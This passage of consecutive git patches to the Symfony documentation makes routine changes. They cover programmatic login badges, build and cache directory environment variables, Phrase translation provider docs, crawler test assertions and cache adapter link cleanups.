@@ -1710,6 +1710,7 @@ You can log in a user programmatically using the ``login()`` method of the
 
     use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
 
     class SecurityController
     {
@@ -1727,9 +1728,12 @@ You can log in a user programmatically using the ``login()`` method of the
             // ...or the service id of custom authenticators
             $security->login($user, ExampleAuthenticator::class);
 
-            // you can also log in on a different firewall
+            // you can also log in on a different firewall...
             $security->login($user, 'form_login', 'other_firewall');
 
+            // ...and add badges
+            $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()]);
+
             // use the redirection logic applied to regular login
             $redirectResponse = $security->login($user);
             return $redirectResponse;
@@ -1743,6 +1747,10 @@ You can log in a user programmatically using the ``login()`` method of the
 
     The feature to use a custom redirection logic was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The feature to add badges was introduced in Symfony 6.4.
+
 .. _security-logging-out:
 
 Logging Out

From e4a3b1c07a9fbfe73d8007fda3d1541cc875e256 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 5 Aug 2023 12:19:24 +0200
Subject: [PATCH 4968/7107] Typo in cache dir env var explanation

---
 configuration/override_dir_structure.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 7528c250729..2a5df047611 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -67,7 +67,7 @@ Console script::
 Web front-controller::
 
     // public/index.php
-    
+
     // ...
     $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
 
@@ -109,8 +109,8 @@ In this code, ``$this->environment`` is the current environment (i.e. ``dev``).
 In this case you have changed the location of the cache directory to
 ``var/{environment}/cache/``.
 
-You can also change the cache directory defining an environment variable named
-``APP_CACHE_DIR`` whose value is the full path of the cache folder.
+You can also change the cache directory by defining an environment variable
+named ``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
 .. caution::
 

From 837872e0c5f5442bb36674dc4188653c4a47137b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 5 Aug 2023 12:18:20 +0200
Subject: [PATCH 4969/7107] [FrameworkBundle] Support `APP_BUILD_DIR`

---
 reference/configuration/kernel.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 20787e153d8..a25b6c2fd42 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -22,6 +22,14 @@ container or AWS Lambda.
 This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir`
 method of the kernel class, which you can override to return a different value.
 
+You can also change the build directory by defining an environment variable
+named ``APP_BUILD_DIR`` whose value is the full path of the build folder.
+
+.. versionadded:: 6.4
+
+    The support of the ``APP_BUILD_DIR`` environment variable was introduced in
+    Symfony 6.4.
+
 ``kernel.bundles``
 ------------------
 

From 28c797407201c1ea062ecc3938730793d7fb0b4d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 5 Aug 2023 12:25:25 +0200
Subject: [PATCH 4970/7107] [Serializer] Fix serializer table

---
 components/serializer.rst | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 14497e917ed..f9a9ed4b985 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1001,17 +1001,15 @@ context to pass in these options using the key ``json_encode_options`` or
 
 These are the options available:
 
-===============================  ========================================================  ================================
-Option                           Description                                               Default
-===============================  ========================================================  ================================
-``json_decode_associative``      If set to true returns the result as an array,            ``false``
-                                 returns a nested ``stdClass`` hierarchy otherwise.        ``false``
-``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON      ``false``
-                                 are more specific. Requires `seld/jsonlint`_ package.
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function  ``0``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function  ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth``  Sets maximum recursion depth                              ``512``
-===============================  ========================================================  ================================
+===============================  =========================================================================================================== ================================
+Option                           Description                                                                                                 Default
+===============================  ==========================================================================================================  ================================
+``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
+``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function.                                                   ``0``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function.                                                   ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
+===============================  ==========================================================================================================  ================================
 
 .. versionadded:: 6.4
 

From 70499a83e872b09b395e4e4d4bb14647e9623629 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 5 Aug 2023 19:54:43 +0200
Subject: [PATCH 4971/7107] Fix Crawler assertSelectorTextSame documentation

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 38bd9c9577c..754c39a22c2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -984,7 +984,7 @@ Crawler Assertions
     contain the expected text.
 ``assertSelectorTextSame(string $selector, string $text, string $message = '')``
     Asserts that the contents of the first element matching the given
-    selector does (not) equal the expected text.
+    selector does equal the expected text.
 ``assertPageTitleSame(string $expectedTitle, string $message = '')``
     Asserts that the ``<title>`` element is equal to the given title.
 ``assertPageTitleContains(string $expectedTitle, string $message = '')``

From 0f1f5db720251f6f02991a4f8d9ba23273e8455e Mon Sep 17 00:00:00 2001
From: Rylix <54363222+rylixs@users.noreply.github.com>
Date: Sun, 6 Aug 2023 08:26:44 +0200
Subject: [PATCH 4972/7107] [Cache] Add missing backtick

---
 http_cache/expiration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index 692c3db7622..0d666e4cae8 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -92,7 +92,7 @@ The resulting HTTP header will look like this:
 
 .. note::
 
-    The ``expires` option and the ``setExpires()`` method automatically convert
+    The ``expires`` option and the ``setExpires()`` method automatically convert
     the date to the GMT timezone as required by the specification.
 
 Note that in HTTP versions before 1.1 the origin server wasn't required to

From 1304e44b44412897d44167ef322e73ce4d6bd68b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 5 Aug 2023 20:07:23 +0200
Subject: [PATCH 4973/7107] Update components marked experimental

---
 frontend.rst              | 5 ++---
 security/access_token.rst | 4 ----
 2 files changed, 2 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index dc4b97e87c3..446c24cff12 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -13,13 +13,13 @@ fast frontend, *and* enjoy the process:
   things like JSX (React), Vue or TypeScript.
 
 * :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
-  to Webpack Encore that runs entirely in PHP. It's currently experimental.
+  to Webpack Encore that runs entirely in PHP.
 
 ================================  =================  ======================================================
                                   Encore             AssetMapper
 ================================  =================  ======================================================
 Production Ready?                 yes                yes
-Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
+Stable?                           yes                yes
 Requirements                      Node.js            none: pure PHP
 Requires a build step?            yes                no
 Works in all browsers?            yes                yes
@@ -121,7 +121,6 @@ AssetMapper
 AssetMapper is an alternative to Webpack Encore that runs entirely in PHP
 without any complex build steps. It leverages the ``importmap`` feature of
 your browser, which is available in all browsers thanks to a polyfill.
-AssetMapper is currently :doc:`experimental </contributing/code/experimental>`.
 
 :doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
 
diff --git a/security/access_token.rst b/security/access_token.rst
index 922e6906f58..b689949c71a 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -349,10 +349,6 @@ authentication layer on top of the OAuth 2.0 authorization framework. It allows
 to verify the identity of an end user based on the authentication performed by
 an authorization server.
 
-.. caution::
-
-    This feature is experimental and could change or be removed at any time without prior notice.
-
 1) Configure the OidcUserInfoTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c20766f0699b83d4aac77183ca637542585c43d0 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 5 Aug 2023 19:49:04 +0200
Subject: [PATCH 4974/7107] [DomCrawler][FrameworkBundle] Add
 assertAnySelectorText*

---
 testing.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/testing.rst b/testing.rst
index ded7b223465..df24c4f8601 100644
--- a/testing.rst
+++ b/testing.rst
@@ -982,9 +982,15 @@ Crawler Assertions
 ``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
     Asserts that the first element matching the given selector does (not)
     contain the expected text.
+``assertAnySelectorTextContains(string $selector, string $text, string $message = '')``/``assertAnySelectorTextNotContains(string $selector, string $text, string $message = '')``
+    Asserts that any element matching the given selector does (not)
+    contain the expected text.
 ``assertSelectorTextSame(string $selector, string $text, string $message = '')``
     Asserts that the contents of the first element matching the given
     selector does equal the expected text.
+``assertAnySelectorTextSame(string $selector, string $text, string $message = '')``
+    Asserts that the any element matching the given selector does equal the
+    expected text.
 ``assertPageTitleSame(string $expectedTitle, string $message = '')``
     Asserts that the ``<title>`` element is equal to the given title.
 ``assertPageTitleContains(string $expectedTitle, string $message = '')``
@@ -1002,6 +1008,11 @@ Crawler Assertions
 
     The ``assertSelectorCount()`` method was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``assertAnySelectorTextContains()``, ``assertAnySelectorTextNotContains()``
+    and ``assertAnySelectorTextSame()`` were introduced in Symfony 6.4.
+
 .. _mailer-assertions:
 
 Mailer Assertions

From ea9b2a050b2ba2eb7a2cdc3ec42907f8648822f3 Mon Sep 17 00:00:00 2001
From: wickedOne <wicliff.wolda@gmail.com>
Date: Sat, 4 Feb 2023 05:24:25 +0100
Subject: [PATCH 4975/7107] [Translation] phrase translation provider

---
 translation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/translation.rst b/translation.rst
index c994563c92f..48356c83e0e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -600,6 +600,7 @@ Provider              Install with
 Crowdin               ``composer require symfony/crowdin-translation-provider``
 Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
 Lokalise              ``composer require symfony/lokalise-translation-provider``
+Phrase                ``composer require symfony/phrase-translation-provider``
 ====================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
@@ -689,6 +690,14 @@ configure the ``providers`` option:
             ],
         ]);
 
+.. important::
+
+    If you use Phrase as a provider you must configure a user agent in your dsn. See
+    `Identification via User-Agent`_ for reasoning and some examples.
+
+    Also make the locale _names_ in Phrase should be as defined in RFC4646 (e.g. pt-BR rather than pt_BR).
+    Not doing so will result in Phrase creating a new locale for the imported keys.
+
 .. tip::
 
     If you use Lokalise as a provider and a locale format following the `ISO
@@ -698,6 +707,12 @@ configure the ``providers`` option:
     capital letters that specifies the national variety (e.g. "GB" or "US"
     according to `ISO 3166-1 alpha-2`_)).
 
+.. tip::
+
+    The Phrase provider uses Phrase's tag feature to map translations to Symfony's translation
+    domains. If you need some assistance with organising your tags in Phrase, you might want
+    to consider the `Phrase Tag Bundle`_ which provides some commands helping you with that.
+
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1479,3 +1494,5 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
 .. _`Symfony Demo`: https://github.com/symfony/demo
+.. _`Identification via User-Agent`: https://developers.phrase.com/api/#overview--identification-via-user-agent
+.. _`Phrase Tag Bundle`: https://github.com/wickedOne/phrase-tag-bundle

From fbd889cf70ff1f56b27039fa1713259104a727eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Aug 2023 09:52:10 +0200
Subject: [PATCH 4976/7107] Add the versionadded directive

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 48356c83e0e..bd609fdb183 100644
--- a/translation.rst
+++ b/translation.rst
@@ -603,6 +603,10 @@ Lokalise              ``composer require symfony/lokalise-translation-provider``
 Phrase                ``composer require symfony/phrase-translation-provider``
 ====================  ===========================================================
 
+.. versionadded:: 6.4
+
+    The ``Phrase`` translation provider was introduced in Symfony 6.4.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use Loco. First, install it:

From bd4c1f10704a274a7a39e34202c568bca1f0c51c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Aug 2023 09:56:07 +0200
Subject: [PATCH 4977/7107] Minor tweak

---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index a25b6c2fd42..c6c0669d1a4 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -23,7 +23,7 @@ This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kern
 method of the kernel class, which you can override to return a different value.
 
 You can also change the build directory by defining an environment variable
-named ``APP_BUILD_DIR`` whose value is the full path of the build folder.
+named ``APP_BUILD_DIR`` whose value is the absolute path of the build folder.
 
 .. versionadded:: 6.4
 

From c24c0990289968ce1b2530bbd1a70c9798235f23 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 15:11:36 +0200
Subject: [PATCH 4978/7107] add missing link target

---
 components/cache/adapters/pdo_adapter.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 62d4dcc90aa..4920520196f 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -53,3 +53,4 @@ your code.
     class instance), the connection will be lazy-loaded when needed.
 
 .. _`DSN`: https://php.net/manual/pdo.drivers.php
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From afa70926b81843b64d6447d4e6c346a211bd2e82 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:03:38 +0200
Subject: [PATCH 4979/7107] remove Symfony 5 deprecations

---
 components/cache/adapters/pdo_adapter.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 4920520196f..0cf3c141707 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -40,13 +40,6 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
 your code.
 
-.. deprecated:: 5.4
-
-    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
-    and will be removed in Symfony 6.0.
-    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
-
 .. tip::
 
     When passed a `Data Source Name (DSN)`_ string (instead of a database connection

From 074ecc13b94db6aa03ed9f85016c510aeda04a74 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:06:58 +0200
Subject: [PATCH 4980/7107] remove reference to removed cache adapter

---
 cache.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 9e7ffdfba04..8b57eec88af 100644
--- a/cache.rst
+++ b/cache.rst
@@ -101,7 +101,6 @@ The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`
 * :doc:`cache.adapter.array </components/cache/adapters/array_cache_adapter>`
-* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>` (deprecated)
 * :doc:`cache.adapter.doctrine_dbal </components/cache/adapters/doctrine_dbal_adapter>`
 * :doc:`cache.adapter.filesystem </components/cache/adapters/filesystem_adapter>`
 * :doc:`cache.adapter.memcached </components/cache/adapters/memcached_adapter>`

From c3d11cf5f6ded52c42a588aefd70a3e6bdc82f22 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:26:00 +0200
Subject: [PATCH 4981/7107] tweak the cache docs

---
 cache.rst                                     | 20 +++++++++----------
 components/cache/adapters/apcu_adapter.rst    |  2 --
 components/cache/adapters/chain_adapter.rst   |  2 --
 .../adapters/couchbasebucket_adapter.rst      |  6 ++----
 .../adapters/couchbasecollection_adapter.rst  |  6 ++----
 .../cache/adapters/doctrine_adapter.rst       |  2 --
 .../cache/adapters/doctrine_dbal_adapter.rst  |  2 --
 .../cache/adapters/filesystem_adapter.rst     | 11 +++++-----
 .../cache/adapters/memcached_adapter.rst      |  6 ++----
 components/cache/adapters/pdo_adapter.rst     |  2 --
 .../cache/adapters/php_files_adapter.rst      |  4 +---
 components/cache/adapters/redis_adapter.rst   |  6 ++----
 components/cache/cache_pools.rst              | 14 ++++++-------
 13 files changed, 31 insertions(+), 52 deletions(-)

diff --git a/cache.rst b/cache.rst
index a22912c36b1..b0d65f52740 100644
--- a/cache.rst
+++ b/cache.rst
@@ -156,19 +156,19 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
         >
             <framework:config>
                 <!--
-                default_doctrine_dbal_provider: Service: cache.doctrine_dbal
-                default_psr6_provider: Service: cache.psr6
-                default_redis_provider: Service: cache.redis
-                default_memcached_provider: Service: cache.memcached
-                default_pdo_provider: Service: cache.pdo
+                default-doctrine-dbal-provider: Service: cache.doctrine_dbal
+                default-psr6-provider: Service: cache.psr6
+                default-redis-provider: Service: cache.redis
+                default-memcached-provider: Service: cache.memcached
+                default-pdo-provider: Service: cache.pdo
                 -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
-                    default_doctrine_dbal_provider="doctrine.dbal.default_connection"
-                    default_psr6_provider="app.my_psr6_service"
-                    default_redis_provider="redis://localhost"
-                    default_memcached_provider="memcached://localhost"
-                    default_pdo_provider="pgsql:host=localhost"
+                    default-doctrine-dbal-provider="doctrine.dbal.default_connection"
+                    default-psr6-provider="app.my_psr6_service"
+                    default-redis-provider="redis://localhost"
+                    default-memcached-provider="memcached://localhost"
+                    default-pdo-provider="pgsql:host=localhost"
                 />
             </framework:config>
         </container>
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index c85050e9b4c..99d76ce5d27 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -1,5 +1,3 @@
-.. _apcu-adapter:
-
 APCu Cache Adapter
 ==================
 
diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst
index 9a91234096e..586857d2e4d 100644
--- a/components/cache/adapters/chain_adapter.rst
+++ b/components/cache/adapters/chain_adapter.rst
@@ -1,5 +1,3 @@
-.. _component-cache-chain-adapter:
-
 Chain Cache Adapter
 ===================
 
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index f1e0c13b2b0..5312371a2bb 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,5 +1,3 @@
-.. _couchbase-adapter:
-
 Couchbase Bucket Cache Adapter
 ==============================
 
@@ -8,8 +6,8 @@ Couchbase Bucket Cache Adapter
     The Couchbase Bucket adapter was introduced in Symfony 5.1.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
-instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index a0c5e28c9a8..66586c816ee 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -1,5 +1,3 @@
-.. _couchbase-collection-adapter:
-
 Couchbase Collection Cache Adapter
 ==================================
 
@@ -8,8 +6,8 @@ Couchbase Collection Cache Adapter
     The Couchbase Collection adapter was introduced in Symfony 5.4.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
-instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 3b894e8388b..b345d310029 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -1,5 +1,3 @@
-.. _doctrine-adapter:
-
 Doctrine Cache Adapter
 ======================
 
diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
index 3b955832147..fc04410bffc 100644
--- a/components/cache/adapters/doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -1,5 +1,3 @@
-.. _doctrine-dbal-adapter:
-
 Doctrine DBAL Cache Adapter
 ===========================
 
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 237ac3bc60e..4c447b3de82 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -1,10 +1,8 @@
-.. _component-cache-filesystem-adapter:
-
 Filesystem Cache Adapter
 ========================
 
 This adapter offers improved application performance for those who cannot install
-tools like :ref:`APCu <apcu-adapter>` or :ref:`Redis <redis-adapter>` in their
+tools like :doc:`APCu </components/cache/adapters/apcu_adapter>` or :doc:`Redis </components/cache/adapters/redis_adapter>` in their
 environment. It stores the cache item expiration and content as regular files in
 a collection of directories on a locally mounted filesystem.
 
@@ -39,9 +37,10 @@ and cache root path as constructor parameters::
 
     The overhead of filesystem IO often makes this adapter one of the *slower*
     choices. If throughput is paramount, the in-memory adapters
-    (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
-    :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`Doctrine DBAL <doctrine-dbal-adapter>`, :ref:`PDO <pdo-adapter>`) are recommended.
+    (:doc:`Apcu </components/cache/adapters/apcu_adapter>`, :doc:`Memcached </components/cache/adapters/memcached_adapter>`,
+    and :doc:`Redis </components/cache/adapters/redis_adapter>`) or the database adapters
+    (:doc:`Doctrine DBAL </components/cache/adapters/doctrine_dbal_adapter>`, :doc:`PDO </components/cache/adapters/pdo_adapter>`)
+    are recommended.
 
 .. note::
 
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index f2de83251c9..d68d3e3b9ac 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -1,11 +1,9 @@
-.. _memcached-adapter:
-
 Memcached Cache Adapter
 =======================
 
 This adapter stores the values in-memory using one (or more) `Memcached server`_
-instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Redis adapter <redis-adapter>`, it is not limited to the current server's
+instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Redis adapter </components/cache/adapters/redis_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 4920520196f..34815a51eb0 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -1,5 +1,3 @@
-.. _pdo-adapter:
-
 PDO Cache Adapter
 =================
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index dce77657292..efd2cf0e964 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -1,9 +1,7 @@
-.. _component-cache-files-adapter:
-
 PHP Files Cache Adapter
 =======================
 
-Similarly to :ref:`Filesystem Adapter <component-cache-filesystem-adapter>`, this cache
+Similarly to :doc:`Filesystem Adapter </components/cache/adapters/filesystem_adapter>`, this cache
 implementation writes cache entries out to disk, but unlike the Filesystem cache adapter,
 the PHP Files cache adapter writes and reads back these cache files *as native PHP code*.
 For example, caching the value ``['my', 'cached', 'array']`` will write out a cache
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index a7530e6d3f0..dc711d6b8e0 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -1,5 +1,3 @@
-.. _redis-adapter:
-
 Redis Cache Adapter
 ===================
 
@@ -12,8 +10,8 @@ Redis Cache Adapter
 
 This adapter stores the values in-memory using one (or more) `Redis server`_ instances.
 
-Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
-:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
+:doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
 shared memory; you can store contents independent of your PHP environment. The ability
 to utilize a cluster of servers to provide redundancy and/or fail-over is also available.
 
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index bd4488f2b48..c92a22a136b 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -192,7 +192,7 @@ Pruning Cache Items
 -------------------
 
 Some cache pools do not include an automated mechanism for pruning expired cache items.
-For example, the :ref:`FilesystemAdapter <component-cache-filesystem-adapter>` cache
+For example, the :doc:`FilesystemAdapter </components/cache/adapters/filesystem_adapter>` cache
 does not remove expired cache items *until an item is explicitly requested and determined to
 be expired*, for example, via a call to ``Psr\Cache\CacheItemPoolInterface::getItem``.
 Under certain workloads, this can cause stale cache entries to persist well past their
@@ -202,11 +202,11 @@ expired cache items.
 This shortcoming has been solved through the introduction of
 :class:`Symfony\\Component\\Cache\\PruneableInterface`, which defines the abstract method
 :method:`Symfony\\Component\\Cache\\PruneableInterface::prune`. The
-:ref:`ChainAdapter <component-cache-chain-adapter>`,
-:ref:`DoctrineDbalAdapter <doctrine-dbal-adapter>`, and
-:ref:`FilesystemAdapter <component-cache-filesystem-adapter>`,
-:ref:`PdoAdapter <pdo-adapter>`, and
-:ref:`PhpFilesAdapter <component-cache-files-adapter>` all implement this new interface,
+:doc:`ChainAdapter </components/cache/adapters/chain_adapter>`,
+:doc:`DoctrineDbalAdapter </components/cache/adapters/doctrine_dbal_adapter>`, and
+:doc:`FilesystemAdapter </components/cache/adapters/filesystem_adapter>`,
+:doc:`PdoAdapter </components/cache/adapters/pdo_adapter>`, and
+:doc:`PhpFilesAdapter </components/cache/adapters/php_files_adapter>` all implement this new interface,
 allowing manual removal of stale cache items::
 
     use Symfony\Component\Cache\Adapter\FilesystemAdapter;
@@ -215,7 +215,7 @@ allowing manual removal of stale cache items::
     // ... do some set and get operations
     $cache->prune();
 
-The :ref:`ChainAdapter <component-cache-chain-adapter>` implementation does not directly
+The :doc:`ChainAdapter </components/cache/adapters/chain_adapter>` implementation does not directly
 contain any pruning logic itself. Instead, when calling the chain adapter's
 :method:`Symfony\\Component\\Cache\\Adapter\\ChainAdapter::prune` method, the call is delegated to all
 its compatible cache adapters (and those that do not implement ``PruneableInterface`` are

From 600fd1829e904415215083621205cf3b22f1a24c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 7 Aug 2023 16:51:18 +0200
Subject: [PATCH 4982/7107] fix :phpfunction: usages

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f9a9ed4b985..3a5d0c1a01a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
